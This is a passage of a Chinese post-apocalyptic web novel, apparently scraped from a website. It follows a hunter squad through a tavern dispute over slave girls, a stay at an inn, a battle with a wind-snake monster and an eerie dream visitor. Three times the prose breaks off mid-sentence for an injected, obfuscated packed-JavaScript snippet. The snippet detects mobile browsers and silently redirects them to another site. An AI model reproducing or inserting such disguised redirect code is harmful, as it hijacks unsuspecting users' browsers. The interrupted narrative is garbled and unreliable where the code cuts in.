这不能怪他心狠,要怪就怪那个男人不自量力,觉得自己有点手艺和幸运就能在外边跑生意。 “你说是就是吗?再说了,这根本不关你的事!我的奴隶已经装上了监控装置,你要敢带走她就带吧,小心什么时候……砰!”李瞎子夸张地做了个手势。 “你的考虑很周全,”何雁上前一步,李瞎子愣是挺在原地不动弹,“不过我自有办法。不劳你操心。如果你真想做什么手脚,就尽管做吧。到时候你会知道究竟是谁能欣赏到一场焰火。” 女人黑白分明的眼睛盯着他,她分明没做什么,可她背后的势力叫他对这双眼睛生不出任何想法。 “何老板说的是,像这种简单的装置,我一拆一个准。”楚明锋终于吃完了棒棒糖,咯吱咯吱咬碎了剩下的一小块,从门后转了过来。 李瞎子很想大声质问一句你又是谁,但是多年在外行走的经验告诉他不要和这帮人起冲突。 “送你就送你!本来也就是玩腻了的,你要就拿着,还多吃几口饭。” 李瞎子大声嚷嚷着,抓起桌子上的腰包就走,这回没人拦他,何雁也没有嘲讽他不敢赌。 连钰看向棕发的女孩,女孩一言不发,无论是何雁救走黑发女孩还是李瞎子把她扔给别人,她都没有动静。之前她流露的悲戚仿佛是连钰的错觉。 “走吧。”出乎连钰的意料,何雁没有多和女孩说话,只是招呼小山走,女孩沉默地跟上。奇怪的是,她失去了双眼,却很清楚地知道别人离开的方向,在从桌子旁起身绕过时也没有撞到桌角。 难道她也觉醒了?也有可能是盲人练出来的耳力和记忆力吧。连钰心里暗暗记下,总觉得何雁救下两个女奴不止是出于同情。 不是她怀疑何雁的用心,而是在末日,纯粹的善意往往很容易招致恶果。何雁作为一个看起来势力就很大的商人,如果走到哪都行侠仗义,未免太天真,也会和圈子格格不入,引起不必要的麻烦。李瞎子这样好对付的人,欺负他一下自然不在话下,可若是做的多了,难免让其他人怀疑。 “慢走不送~”卢卡倚靠着吧台举起酒杯致意。这人倒也没怪他们把客人都赶跑了。 辛迪侧对着他们没多说话,从口袋里掏出了一个小瓶子递给卢卡。就在这是,他抬头对连钰笑了一下,连钰意识到自己观察别人太突兀,就移开了视线。 “走了!”楚明锋晃过来推着两个队员离开,连钰只觉得辛迪交出去的小瓶闪烁着亮光有些奇异,但没有多看。 何雁和小山走在最前面,看方向不是他们来的地方。 “我们这是去哪?” “心善的何老板给我们找了个住处。”楚明锋看出了连钰的无语,从兜里掏出根棒棒糖。 连钰接过来一看,草莓味,行吧。不过这个世界还有人生产棒棒糖啊。 她撕开塑料纸,习惯性把外包装揣进兜里,先是闻了闻,嗯,熟悉的糖精味。 “放心吧,城里生产的。没过期。”楚明锋看她这样不知道想哪儿去了。连钰黑线,其实她只是习惯性先闻一下食物。 不过……连钰悄悄看向棕发女孩。 要不要给她尝尝?她会不会没吃过啊。 “喂,”刚一喊出口连钰就后悔了,这声喂听起来好不礼貌,“你吃糖吗?” 深粉色的糖果被递到女孩的面前,恰好是能闻到味道的距离。 “不用了。”女孩的声音和连钰想得一样,细细柔柔的带点沙哑,她大概不经常说话。 “我不吃草莓味的。” 连钰一愣,接着手肘捣了下队长,队长一脸无奈地又从兜里掏出了一根紫色的,然后摊手示意自己再没有了。 “喏,有葡萄的,吃吗?” “……嗯。” 棕发女孩接过糖果,面色淡淡地把棒棒糖塞到嘴里,低着头不说话。 “你不喜欢草莓味的话,以后就给你别的味道。”连钰开始嘬起了糖,唉她这个急性子现在就想把糖咬碎了。 “……”女孩低着头张了张嘴,又继续沉默。她想说,她最喜欢吃草莓味。以前爸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13233455|139462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爸和叔叔就给她带草莓味棒棒糖,爸爸说妈妈在的时候也爱吃。直到那天,她吃着最后一根草莓棒棒糖,看见帐篷边缘的布料变深,知道以后再也不会有人给她带糖了。 她没有哭,在失去眼睛以后就更没机会哭了。在发热的时候,那个男人没有管她,可是她没死。热度过去后,她觉得眼眶烫烫的,就像要哭了,她流不出泪,她只是感觉到自己好像又能“看见”了。 在别人暴怒、恐惧、得意或喜悦的时候,颜色就更明显了。而当她不想让别人注意到自己的时候,她会把自己的颜色变浅,于是她在李瞎子身边挨的打少了。她讨厌他,可她想不到自己能去哪。李瞎子喜欢把别人变成瞎子,她没了眼睛后,心也盲了。 “到了。” 何雁带他们去的住处不远,连钰不得不内心感慨了下何老板真强,这岂不是相当于住在寸土寸金的市中心。虽然……这个小旅馆破破的,窄窄的门脸开在了条巷子里。 “幸福旅馆。”小荣抬头念出了牌匾。一读出来,就感觉这儿更奇怪了。 不过他们没什么可挑的。走进去他们逛了一圈才发现别有洞天,而他们的越野车就停在了旅馆后面的停车场,估计是另外一条路开进来的。 旅馆老板是个胖胖的大娘,身形富态,待人热情。老板告诉他们要去梅花落的话,就去找中心广场附近的那家。 “那是分店。” 大娘有本事,大娘这是末世做生意的典范啊。 “年轻人多跑跑,顺带照顾下我的生意。” “大娘,您没想过以后去别地儿开店啊?”连钰吃着大娘手擀的面条热泪盈眶。她最喜欢吃面条了嘿嘿。 “你们走吧,我走不了了。”大娘笑呵呵地擦完桌面就进了后厨,她走路不快,连钰本以为是有点年纪的人走路都比较稳重,现在一看倒像是大娘走不快。 连钰吸了口面条,没再提开店的事儿。 永昼城尚且需要一整个穹顶的净化器,外界这样艰难求生的地方,大娘活到这个岁数已经不容易。 可问题又来了,完完全全没有净化器的人类,和城内的猎人寿命相差无几……绿日净化器真的有用吗…… “想什么呢,汤都凉了。”楚明锋弹了下连钰脑瓜子,给她弹嗡嗡的。 “没什么。”还有,队长你能不能别动手动脚的,弹脑袋很疼啊。 “别想东想西了,有些事情想了也没用。”楚明锋看出她的怨念,揉了揉她脑袋就上楼了。 想了没用,但我的任务是这个啊。连钰三两下吸溜完面条,又一口汤不剩地喝光,活像三天没吃饭的。旅馆老板看了更高兴了,给她抓了把糖揣兜里。 回到房间后,连钰摊开手一看,是小学时候放学经常看到的镭射玻璃纸包装的小糖果,有很多口味。灯光下一闪闪的,很漂亮。 收拾完的小荣正坐在凳子上擦拭武器,手掌已经包扎好。她瞅见了连钰手里的糖就一直悄悄打量,不知道小荣训练时候有没有得过吃糖的奖励。不过估计表现好的奖励也就是吃的食堂饭更好。 “分你一半。”连钰大方地抓了一半塞进小荣的兜里。 “唉唉,可是这是装药棉的口袋。” “糖能止痛,四舍五入就是药了。” “有这种说法吗?” 给可爱妹妹塞完糖后,连钰又想起来队长那张脸。要是不给他分的话,估计又要作出“明明是我先给你吃的糖,怎么都没有我的份”的姿态…… 算了,留一颗吧。 连钰挑了一颗镭射出蓝紫色的糖果放在桌子上。 9. 绿日时代(9)糍耙好吃 “小钰你快尝尝这个!可好吃了!”连钰刚收拾完东西下楼就看见小荣跟在大娘身后团团转,就差一根摇成花的小尾巴了。 “糍粑?”真是我佛糍粑,没想到在梦境里也能吃到最爱的早点。看来不管在什么时候,美食都能治愈人心啊。 大娘刚炸的糍粑还在发出“呲呲”的细小声响,金黄透亮的外壳让人不难想象一口咬下去的口感。一时间整个一楼都飘满了油香味。 “不急,还有。”大娘慈爱地看着吃到眯起眼的小荣,又从柜台底下变出来一小盘白白软软的年糕。 “都是我今天早上做的。你们带着吧。” “难怪我很早就闻见米香了,原来是在做这个。”小荣手里的糍粑还没吃完,又眼巴巴地望着年糕,但估计是考虑到路上要吃,没下手。 “……难怪你起得那么早,原来是馋了。”连钰一度怀疑是自己睡过了,毕竟这儿根本没太阳,缺少时间观念。但又想到队长不可能放过赖床的自己,觉得自己没机会起迟。现在一看完全是小荣起太早嘛。 她一坐下,面前就推来一碗豆浆一盘早点。连钰和大娘笑过后就开吃。 ! 果然刚出炉的就是不一样! “我也要——”一听这懒懒的声音就知道是谁来了。 楚明锋和小山、何雁陆陆续续地都下来了。楚明锋吃饭时还幽怨地望了连钰一眼,显然是记着自己只有一颗糖。但也许是因为商队的人都在,没好意思开口。 连钰望了一圈,看到了昨天没见过的面孔,也发现有的面孔不见了。 “队长,那两个女孩?” “哦,何老板的人先带她们走了。” 大概是担心昨天那个男人找帮手报复吧。 “好歹是在白茶落里,这里何老板熟人多,他想报复也不敢。所以何老板趁李瞎子没反应过来的时候就让她们先走,好过被路上堵截。” 连钰点点头,没再多问。有一瞬间其实她脑海里飘过一个念头,认为何老板不是单纯地救人,救她们另有所图。可是君子论迹不论心,无论何老板是出于什么目的,两个女孩都获救了。 大概是她逐渐被末世的氛围感染了,已经学会先怀疑别人的出发点。 “吃完我们就去梅花落,趁早走会安全点。”楚队说是这么说,吃饭可一点不快。连钰算是看出来了,这家伙就是想多品味两块糍粑…… “我们先走了。楚明锋,回头见。”何老板的人速度很快,走之前和楚明锋打了招呼,目光却看向他的两个队员。 连钰没好意思搭话,只点了点头。没办法,偶尔一笑的冷美人杀伤力太大,给她看怪不好意思的。再一看,小荣也挺“羞涩”没吱声。她们这队的脸皮都给队长长了。 “赶紧吃,吃完我们就……”楚队一转身就习惯性地开始叨叨,一看桌面上俩人的饭碗都空了,只有自己还剩了半拉糍粑没啃完。 楚明锋自然地拈起那块糍粑塞进嘴里三两下吃完了最后的美味。 “走咯。”楚明锋拍拍队员示意拿上包跟上。 队长你是不是在我作战服上擦油了! 连钰怒不可遏,接过大娘给的一小包年糕就塞进了自己的兜里。 一会儿没你的份! …… 车窗外还是一片漆黑,不过连钰直觉感觉没有到伸手不见五指的地步,不知道是因为她的能力更强了,还是天穹上的某一块界确实没完全遮蔽。 “去梅花落的路有一段不太好走,马上就到那里了。都打起精神来。”楚队坐在后座,这回驾车的换成了小荣。楚明锋美其名曰锻炼队员的驾驶能力,但连钰觉得他的出发点就是自己能歇一会。 “队长,你在梅花落有熟悉的交易对象吗?” “当然了。总不能全靠你们从无到有地发展情报网吧,那得等到猴年马月。” 说的也是。永昼城总不能是真的给她们两个新人派新手任务试炼的,应该是看中了楚明锋在外发展的人际网,借此高效获取梅花落的信息。 永昼城,是要下手了吗? 城内城外人类的生活条件不说天差地别,也有很大差距。连钰刚穿到这个梦境的时候看见的景象实在太符合她对于未来世界的畅想,没想到城外的人的生活像刚刚开启重建。 不管是永昼城还是天山城应该都在剥削小聚落,节省自己的能量。 可就算这样,也有人宁愿在城外徘徊,不肯低头。可是……连钰想了想,如果自己真是活在绿日时代的人,她还是会选择当一条咸鱼,加入永昼城至少有饭吃。 “队长,这些聚落的人没有试过加入永昼城这样的大型聚居点吗?” “有,但是永昼城有自己的挑选标准,能不能通过不好说。” “什么标准?”武力强?像她这样有能力进化的?、 “看主脑的意思。绿日净化器等设备全都受主脑的管控,如果主脑判定某部分人可以纳入城内,高层会有命令下达。除此之外,主动来是不会接收的。” “那岂不是……”更像游戏了。 永昼城想吞并小聚落的时候就美其名曰吸纳新鲜血液,不想的时候外面的人想进来混口饭吃都没门路。 “不对劲。”楚明锋压低身子迅速上膛观察起四周。 “别说话。”连钰和小荣心领神会地放慢了呼吸。 一时间入耳的只有风声和叶子的婆娑声。 不对……是风声!风声越来越大了! “停车!”几乎是楚明锋刚发出命令的那刻,小荣就狠踩刹车。三个人受了惯性控制向前一勒。 趴在桌板上的小荣和连钰抬-起-头的瞬间就发现越野车前方不远处形成了巨大的漩涡,强大的吸力竟然开始让越野车往前缓缓移动。 “是风蛇!” “风蛇制造的漩涡只能持续几分钟,连钰,不要开枪。” 楚明锋立刻认出这是二级怪物风蛇,擅于控风制造漩涡,强大的吸力几乎是捕谁谁死,但是这里分明不是风蛇出没的区域。 “那我们现在怎么做?”她不能射击,小荣擅长格斗但是现在的情况不容易她随意下车,她们俩的战力几乎是废了。 荣倩倩:“只能往后倒。”她当机立断挂挡后退,马达轰鸣声淹没在漩涡的噪音中,车子的动力相比而言几乎是杯水车薪。 “还有我在。” 楚明锋从车窗钻出去的瞬间身子一歪,但他竟然在强风中控制住了身形。接着攀爬到后车厢玻璃后。 “队长!”小荣大惊,更想往后多倒,可是吸力越来越大,车子又开始往前移动。 连钰看到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13233456|139462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这一幕反而有所意识到,也许楚明锋的能力也和风有关…… 就在某一刻,小荣感觉到越野车没有继续往前,反而开始缓缓向后。 “继续往后,时刻注意油门,别踩太重了。” 果然,楚明锋是风属性的进化者。瞒到现在终于瞒不住了。 “啊?”小荣有点懵但是意识到局势在扭转决定照做。 妹妹,要是你踩太重了,说不定风蛇力竭的时候我们就往后飞了? 透过后视镜,连钰看见楚明锋伸-出的左手中心形成了小小的漩涡,和风蛇比起来就是mini版,好在这XS码的漩涡够给力,真的能和风蛇的漩涡对抗。 她微微一思索,钻到了后座,从楚明锋的包里搜刮出几块看着就价值不菲的核晶,从车窗里递给他。 “……谢了。”楚明锋内心纠结了一秒自己是不是在队员面前表现得太不着调了以至于连钰觉得自己都“吃了”够撑死他的核晶才能活下去。 他接过一块意思一下,示意连钰把剩下的收回去,这死孩子竟然还不解地瞅了他一眼才收回手。 行,他以后尽量表现得靠谱点。 连钰也靠着进化后的视力看清了队长一瞬间的纠结,意识到了不妥,火速钻回副驾驶给小荣打气。 队长明显就能搞定啊,那就行了。 数十秒后,对面的漩涡后劲不足,也逐渐显露-出背后的怪物。那是一条长约五米,粗如水缸的黑蛇,体表覆有铁黑色的鳞片,在黑夜里隐隐泛着绿光。车灯打在它身上,让三人看清了这条蛇的腰身处有一条疤痕,生生破坏了鳞片密布的“美感”。 “吼——”使用完能力的风蛇短时间内无法再次使用漩涡,明显这条蛇没想到几只人类竟然能有抵御漩涡的本事。 “到你们大显身手的时候了。” 楚明锋从后车窗滑下,勾起车座上的枪支。 连钰和小荣紧随其后做好准备。 “一回生二回熟,还是按上次来!” 小荣猛踩油门倒车,风蛇在猎物想要“逃走”的瞬间就弹起直上。 “弱点只有眼睛!”楚明锋喊道。 连钰架起早已上膛的枪,“收到。” 顷刻间她就进入了曾经练习过的神秘状态。周遭的一切声音立刻消失了,世界只剩下她的目标——那条蛇的眼睛。明晃晃的,邪恶极了。 风蛇摆头的时候几乎无法瞄准,可是连钰盯着那点昏黄的圆形,仿佛预料到运动轨迹一般按了扳机。 滴滴答答,就像她内心世界里的钟摆。 极细微的射击声后风蛇痛得翻腾起来。小荣配合地停下从车里钻出,直直往风蛇冲去。这一次,楚明锋紧跟其后。深知自己还没补上来近身格斗的连钰也下了车,找好角度伺机补一枪协助队友。 “晶核在两眼之间!”楚明锋先一步冲上前,借着一棵倒了的树木蹬向风蛇,在风蛇甩头的瞬间跳上去。 “给我个机会!”小荣急了。 楚明锋左手聚集起风力,空气里的气流扭转,像无形的绳索一般生生制止了风蛇继续滚动。风蛇不甘心地狂吼,巨大的身躯颤动着,还在和楚明锋的能力对抗。 耍酷的队长龇牙一笑,往上跳到了风蛇的颈部。 “就是现在!别说我没给你机会。” 10. 绿日时代(10)她的温度 小荣都没顾得上搭理队长,径直勾住风蛇吻部后翻到风蛇的两眼之间。 风蛇的生物本能告诉它自己再不逃走就真要翻车了,可是颈部上的人类竟然有异能! 风蛇是一种异能强大但持续效果很短的怪物,一般若是猎物侥幸挺过它的风力漩涡,它也能靠体型压制。谁料它循着香味儿找到的猎物竟然如此难啃。 “叮——” 小荣的匕首在插-入风蛇皮肤的时候就差点飞了出去。 “队长,这条蛇皮肤太坚硬了。”小荣有些诧异,温室号称最新研发的材料能刺穿绝大多数怪物的皮肤,硬度极高,而风蛇……虽然难打,但不是最顶端的那些。 “难道变异了?”楚明锋细细感受了下手掌下的蛇皮,发现这条蛇应是在核晶部-位产生了变化。 “真是值得研究的大家伙。”楚明锋露-出了个让小荣看了一抖的笑容,他身下的大蛇危险预警拉满但是根本没法挣脱他的控制。 一旁警戒的连钰挑了挑眉,深感自己撞大运了。楚队的异能也太炫酷了,他们遇上一般危险的怪物岂不是横着走。 [别太放松。楚明锋的异能可是有代价的。]好几天没说话的系统突然诈尸。 [不说有用的信息就闭嘴。]连钰已经算是明白了系统的不靠谱,有时候说的话似是而非还容易让人消极。这个系统根本就是看戏不怕热闹。 异能有代价,她已经感觉到了。无非是身体急剧消耗之类的……就算有代价,她就能选择不趟浑水了? [……] 过了会儿,连钰真没听见系统说话,心里“切”了一下,决定不哄。 “试试这个。”楚明锋掏出一把用磨旧了的麂皮套包裹的匕首扔个小荣。 小荣稳稳接住后就要插下去—— “吼——”风蛇两眼之间突然闪过一丝白芒,陡然间爆发出一股气势。 那丝白芒朝着小荣面部飞去,情急之下她接过队长扔来的匕首一挡,但身子一歪掉了下去。 “它在朝一级进化!” 没想到风蛇在危难当头之时因为求生本能,生生地要从二级进化为一级。 楚明锋手心的漩涡增大了几分,但是已经不能完全控制住这条庞然大物。蛇身剧烈颤-抖起来,他俯下身双手按住风蛇的颈部,但逐渐显出疲态。 刚掉下去的小荣立刻欺身而上,力图在风蛇完成进化前击杀它。 “别开枪!”楚明锋余光注意到了连钰已经做好了姿势。 “这条进化中的风蛇必须留下全尸!” 连钰拧眉。这要是他们留不下全尸怎么办。不过她还是决定再相信楚明锋一回。 风蛇挣=扎得更厉害了,动作间将周围树木横扫一片,连钰也不得不随时移动。小荣和队长这时还没有掉下来,死死扒住风蛇头部。 “队长!这把匕首也没用!啊——” 小荣好不容易找准机会用力一划,谁料新的匕首虽比之前那把好一些,但只是留下了一点细小伤口,完全不够在争分夺秒的时刻剜出核晶。 而感到刺痛的风蛇大怒,一瞬间爆发出更大力量,甚至张开了血盆大口…… 连钰再顾不得该死的温室的要求,直接举起武器瞄准了风蛇的眼睛来了两下。 可是虽击中了,风蛇失去了视力也毫不退缩。它已经决定要和这三只该死的虫子死战,非得吃了他们不可。它意识到,眼前至少有一个进化者,只要吃了就能大补。 小荣半截身体被风蛇叼住,楚明锋及时跳下,硬生生抵住风蛇要咬下去的牙齿。 在没人知道的时候,他的压力突然增大。风蛇又可以重新使用能力了…… 连钰明白现在必须要挖出那条蛇的核晶,让它彻彻底底无法动用力量,否则越拖越危险。她三步并作两步跑上前。 如果要挖出核晶,从体表皮肤不可以,那从内部呢? “小荣!从里面!” 时间紧迫她只喊了几个字,但风蛇嘴巴里的小荣立刻理解了。她本就在内部给了风蛇重击,可此时,她努力仰头往后看,真的看到粉红的内壁里有一处发出微弱的荧光,显得与众不同。 小荣腿一抬,蹬着大蛇的牙齿,凭借娇小的身躯向里滑去。 正在控制风蛇行动的楚明锋手掌血肉裂出几条口子,空气顿时变得烧灼起来,有两股力量在空中交织对抗。连钰感受到了拉扯,不自觉启动了能力,在一瞬间,又或是几秒钟内,看见了楚明锋手心和风蛇头部的颜色,甚至更多,他们之间奇异的能量波动和空气里漂浮的颗粒。 她有所感悟地知道楚明锋快到极限了,风蛇也是。 楚明锋抬手,二者的力量升高,给了小荣调整的时间。也就是这一刻,连钰微微抬-起头,瞥见了如墨的夜空。 仅仅是一瞬间,她的双眼爆出血丝,眼眶迅速升温。 她看见了…… “嘶——”连钰不得不低下头捂住双眼,阻止自己继续窥视。 “吼——”风蛇急剧摆头将楚明锋甩了出去,不等他继续上前,风蛇的头却凝固了一般,顿在了半空中。 小荣双脚一勾,从风蛇口中滑出,和她一起出来的还有一颗覆有黏液的核晶。 如同之前的风狼,这条蛇的生命也宣告终结,它到生命尽头也没来得及完成进化,身躯如风化一样慢慢皲裂落地,散作一片。 “呼……”小荣摸了摸还在剧烈跳动心脏努力平息呼吸,就算是她,也没这么负距离接触怪物,难免肾上腺素飙升。 “还好,不辱使命。”扎着马尾的女孩转身给了队友一个大大的笑容,捧出一颗如流冰似霜雪的晶核,这一颗的蓝光比之前那只狼的更盛,堪称流光溢彩。 只是小荣整个身子都像从水里捞起来一样,沾满了风蛇口腔内的黏液。 “干得漂亮。”楚明锋缓缓握拳,遮住掌心的伤口,没接那颗核晶。两人同时转向连钰,才发现她闭着眼睛。 “小钰?”荣倩倩把核晶往队长那一抛就跑向连钰,楚明锋连忙接过,心中无奈。 这可是接近一级的风蛇核晶…… 但他脚步没停,紧跟其后奔向连钰。 “队长,小钰流血了!” 小荣抬起连钰的脸,发现她紧闭的双眼睫毛颤-抖,眼角抖动之时溢出了两道血泪。 “你怎么会过度使用能力?!”楚明锋眉头一拧。刚才分明不需要连钰动手,怎么会到了使用过度的地步。 但是现在最要紧的是稳住。楚明锋抓起连钰的手腕查看了污染值。 88。 “这里刚刚有风蛇经过,暂时不会有其它怪物轻易出没。小荣,你先去处理作战服,黏液挂久 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13233457|139462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了会腐蚀材料。我来照顾她。”楚明锋当即将连钰抱回车子,小荣点点头,没多说,从后备箱扛出清洗液,自己在车外清洁起来。 “你是不是看见什么了?”楚明锋将连钰放到后排躺下,从自己的背包里摸出一块宛如绿玉的核晶。 连钰不敢睁眼,眼球的灼烫让她明白自己必须控制好能力,否则再想刚才那样,她也许真的会在完成任务前死掉。 任务未完成时就身死,系统未必会救她。 “我、我看见了……界。”连钰咽下原本想说出口的词语,换了种说法。 “界?”楚明锋捏碎绿色核晶的动作一顿,“你观察天空了?”说到这时,他压低了声音,像是怕谁听见。 可是这里又能有谁呢? “嗯。” “……也怪我没有提醒你。”楚明锋蓝色的眼眸在黑暗里显出了一丝忧郁,和他往日的风格全然不同。 “可是有些事情太早说只会让你更危险。小荣现在,大概也猜到了一些。但是,我必须在该告诉你们的时候再说。” “好了队长。”连钰咳了咳,感觉胸口奇异地没那么闷痛了。她不知道那枚绿色核晶已经碎成了粉末消失。 “我不怪你。” 就算你是系统派来杀我的,也不怪你。 连钰心中想。 我们都受人摆布,有什么好互相责怪怨恨的。 “现在你只要记住,不要随时随地观察天空。”楚明锋俯下-身,用打湿了的手巾擦拭连钰汗湿的额头和流到腮帮的血泪。 “天空很危险,远不是你我能接触的。” “……我明白。” 连钰闭着眼,仍然处于窥见世界一角的震撼中。 穿透浓如墨色的界,苍穹之上的天空干净得过分,没有人类过度开发产生的污染,天空好似水洗过一般清澈。可是…… 她的身体颤动起来。 可是,那个女性……不,她不是人类。 那个巨大的、匍匐在界之上,形似女子的躯体,像山峦一样起伏,像山峦一样沉重。她的锁骨、肚脐、手心……不,远不止这些。那些都是眼睛!她在监视!她在沉睡! “连钰?连钰!” 手腕上的数字跳跃着,在一瞬间变红。 污染值:90、91…… 楚明锋拧干手巾后转身发现了女孩的不对劲,立刻捧住她的脸,额头贴着额头在她耳边反复劝阻。 “不要回想,不要想……” “你只是做了一场梦。” “梦是假的。” “全都是假的。” “你现在很安全……” 随着楚明锋温柔轻缓地低语,连钰的身体不再颤-抖,只偶尔受惊一般抽搐。 楚明锋的手心还未愈合,他用手心盖住连钰的眼睛,也盖住了自手心而流泻出的颜色。 仿佛是紧挨着能给予力量,连钰的状态逐渐平缓。 不知过了多久,楚明锋怀里的女孩才完全稳定。他轻轻将女孩放下,用手巾盖住了她的双眼。 “队长。”小荣早已清洁完毕,收回了连钰的武器。 她守在越野车旁警戒多时,但一直紧紧攥着一样东西。见队长终于安抚好连钰,她才开口。 “队长,我怀疑这个东西与风蛇的异常有关。” 11. 绿日时代(11)梦中的接触 小荣摊开手心,一枚细弱的草叶正安静趴着。墨绿色的叶子在黑夜里很不起眼,卷毛边的样子也实在让人难以将它和风蛇异变联系起来。 “……是风蛇最爱的银环草。”楚明锋捏起那枚叶子,细细端详。 银环草生长要求极高,尤为风蛇等蛇形怪物所喜爱,成熟期散发出的气味能够吸引方圆十里的怪物,因而更难以觅见其踪迹。 “在哪找到的?” 小荣指了指不远处的一棵树。 “就在那儿,树下……有一个坑,埋了一捧这样的草。刚刚和风蛇搏斗时,能量波动太大,将浅坑表层的土震开,这才让我发现了。” “有人想置我们于死地啊。”可是暗中的敌人不知道楚明锋身怀极其罕见的风系异能。 在大型城市之外,其实不乏有人进化,进而窥见末世里人类进化秘密的一角。然而,无论这些刚刚萌芽的进化者是否试图隐藏自己的能力,无人得以善终。久而久之,即便有人侥幸觉醒某些能力,哪怕是看起来再垃圾的能力,都没人敢轻易暴露自己。 “队长,会不会是酒馆里的那个人?”小荣思来想去,他们这队刚出永昼城没多久,在外得罪的人应当只有那一个。 “不是他,还能是谁。不过估计咱们是替别人挡灾了。” 楚明锋无奈苦笑。难怪何雁那么早就动身,是料到了?想必这个女人之前欺负李瞎子欺负得狠了,这次又让他当众没脸,李瞎子再不敢得罪何雁,也要拼着暗地里使绊子。 何雁的商队人员复杂,不缺实力强的,但是风蛇也不是那么好对付。赌赢了,何雁整个商队都会消失,赌输了,也没有任何证据指向何人所为。不愧是赌徒。 “那我们接下来?”小荣想起刚才的战斗,还心有余悸,胸口有些闷。 “接着走。咱们的任务还没完成。”楚明锋没有捏碎那枚草叶泄愤,反而小心翼翼地收进隔离袋,还把树底下的都搂走了。 “这些拿回去能换不少贡献点。”楚明锋看出小荣的不解,解释道。 “对方肯下本钱对付人,咱们可不能浪费了他们的心意。”楚明锋回忆着过去在外做任务的经历,在记忆角落里挖出李瞎子似乎的确结识几个疑似有异能的人,其中要是有同样少见的木系进化者,培养出难得的银环草,也并非难事。 那这些叶子,他就不客气地收下咯。 楚明锋和荣倩倩迅速收拾好战场,载着昏迷的连钰继续行程。越野车消失后不久,这片土地的某处隐约有窸窸窣窣的声响。即便是风蛇战斗后的地方,也会有怪物循着味来试图分杯羹。三人尽早离开,没有看见之后多出来的眼睛。 而苍穹之上,也有一只眼睛悄然睁开。 …… 这回连钰昏迷了,小荣索性坐在后排边警戒边照看她。楚明锋一人当两人使,既当司机又当前排放哨的。 “队长,到了梅花落以后,我们能找当地的医师给小钰检查吗?”小荣还是有些不放心,刚一转身就发现队友眼睛流血一副命不久矣的样子,对她来说冲击力比风蛇一口吞了半个她还要惊悚。 “不必。有我在。”楚明锋瞥了一眼后视镜发现小荣还在试图“深情对视”有些无奈,“我处理过类似状况。” “……那就好。”小荣不是不相信队长,而是关心则乱。楚明锋知道这一点,也没多说。 他的确处理过类似状况,只不过对象是他自己。 进化者面临的危险远不止是与怪物搏斗,还有许多看不见、接触不到的存在…… 还好,这些事情在不远的未来或许能做个了结。 一时间车内恢复寂静,一行人默默朝着目的地前进,全然不知车内躺着的病号正经历什么。 连钰回到了她的小屋。 和上次一样,窗外车水马龙,窗内秒针走动。她听见了熟悉的喧闹声,感到片刻的宁静,摸索着墙壁寻到沙发坐下。 柔软的沙发不足以让她很板正地坐着,可她还是尽量挺直了脊背。因为房间里的寂静衬着屋外的繁华格外吸引人注意力,在鸟叫声、冲水声、卖早点的交谈声里多出了些不一样的声音。 她知道,有什么东西来了。 那是一种拖沓的声音。有某个存在穿过了喧哗的人群,穿过早点铺子的热气,打开了楼下的单元门。楼下邻居大早上打孩子的声音停顿了一秒,又继续响起,但是连钰知道,她暴露了自己的胆怯。 啪嗒、啪嗒。 在这之后,那个存在的脚步声变得轻快许多,踏着楼梯直奔连钰的房间。终于,房门被礼貌地敲响。 叩叩。 来者有规律地每两下停顿一会儿,又继续。 秒针转了半圈后,连钰知道,那个存在不会离开。 Ta是来找自己的。 她无比确信。 连钰叹了口气,又闭着眼睛摸索到玄关。在她起身后敲门声就停了。 握住门把打开的那一刻,她没有睁眼,来者也没有计较。她听见窸窣的衣物摩-擦声,接着隔着细密的手套织料,来者轻柔覆住她的手,缓缓让她松开门把。 咔哒。门关上了。 “你好,你可以叫我白大人。” 赫—— 连钰从昏迷中猛地弹起上半身。 窗外的啾啾鸟叫和内心世界诡异地重合,她一时之间竟有些恍惚。 “白大人……” 连钰一想到这个称谓就头疼欲裂。可她的直觉告诉她,必须想起梦里经历的一切。 否则…… 否则会怎么样? 她摇了摇头,连失忆的后果都不确定。 “小钰!”荣倩倩正端着早饭进来,一看见亲爱的队友终于醒了,恨不得扑过去瞧瞧,可惜手上的东西让她急不得。 “我在哪?”连钰醒来不自觉地睁开了眼睛,可只发现脑袋缠了一圈纱布。 “我们已经到梅花落了,现在在幸福旅馆老板的分店~幸运旅馆。” 真是个好名字。 不过,已经到了吗?她这昏迷得够久。明明梦里只是和那个人……不,那个怪物,说了一会儿话。 那个怪物,实在太像人了。 连钰的脑海里只有模糊的片段,她记得最清楚的还是那只怪物隔着布料触碰她的感觉……她不能睁眼,只能被动地“观看”对方故作绅士。就好像,她是个物件。 